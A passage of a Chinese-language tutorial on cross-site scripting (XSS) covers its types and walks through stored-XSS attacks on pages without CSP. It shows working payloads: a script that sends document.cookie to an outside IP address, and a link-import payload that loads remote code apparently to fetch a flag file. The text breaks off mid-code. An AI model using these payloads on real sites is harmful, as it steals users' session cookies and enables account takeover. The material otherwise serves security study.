0x00 引子
xss一直以来接触最少的类型,现在终于有幸将其总结一下了·····,xss漏洞是目前最为常见的漏洞类型之一,其触发脚本经常与js代码有关,所以要想掌握好xss必须要有深厚的js编码功底。本篇内容是我学习xss的总结,会结合着代码编写与实验,对xss进行系统的讲解,以便我更好的认识xss。
本篇内容将会分为几个章节xss简述、基于存储型xss攻击、xss绕过
0x01 XSS概述
0x0 简述
XSS即跨站脚本,发生在目标网站中目标用户的浏览器层面上,当用户浏览器渲染整个HTML文档的过程中出现了不被预期的脚本指令并执行时,XSS就会发生
关键点:
目标网站的目标用户
- 浏览器
- 不被预期的: 攻击者在输入时提交了可控的脚本内容,然后在输出时被浏览器解析执行
- “跨站脚本”重点是脚本:XSS在攻击时会嵌入一段远程的第三方域上的脚本资源。
总之,要想尽一切办法将你的脚本内容在目标网站中目标用户的浏览器上解释执行
0x1 分类
- 反射型
又是非持久性的,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
通常,黑客先将恶意代码写好,然后将连接发给受害者,受害者只要点击就会出现攻击现象 - 存储型
持久性的,会把用户输入的数据存储到数据库中。例如,留言板等。只要用户进入页面代码将会执行 - DOM型
DOM型与前两者的差别是,只在客户端进行解析,不需要服务器的解析响应
0x02 基于存储型的XSS攻击
上面说了这么多还是不知道xss攻击应该运用在哪些场景下,下面我们把XSS分为有CSP保护和无CSP保护两个场景来实现。
0x1 无CSP保护下的XSS
1.直接嵌入型
当过滤的东西较少时,可以优先考虑这个。这种xss触发方式比较直接,直接嵌入能够xss的js代码,下面看一个例子。
admin访问页面
<!DOCTYPE html>
<html>
<head>
<title>xss</title>
</head>
<body>
<script>
var img = new Image();
img.src = 'http://45.78.29.252:8888/?a='+document.cookie;
document.getElementsByTagName("head")[0].appendChild(img);
</script>
</body>
</html>
js代码将图片嵌入head中一起解析,左后将获取的cookie发送至xss平台
2.import导入型
经常用于过滤比较严格的情况,经过实验发现link的属性rel值为import是会将资源请求回来并一同解析,注意必须是完整的资源例如HTML、PHP、JS等。请求的资源必须要设置允许跨域加载的响应头。
admin访问页面
<!-- 无csp 远程包含js文件 -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>无csp/远程包含js文件/import</title>
</head>
<body>
<link rel=import href=http://yzbbd666.com/2.php>
</body>
</html>
下面是http://yzbbd666.com/2.php文件内容注意填写Access-Control-Allow-Origin
<?php
header("Access-Control-Allow-Origin: *");
echo 1;
?>
<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>
<script type="text/javascript">
$.get("http://127.0.0.1/flag.php",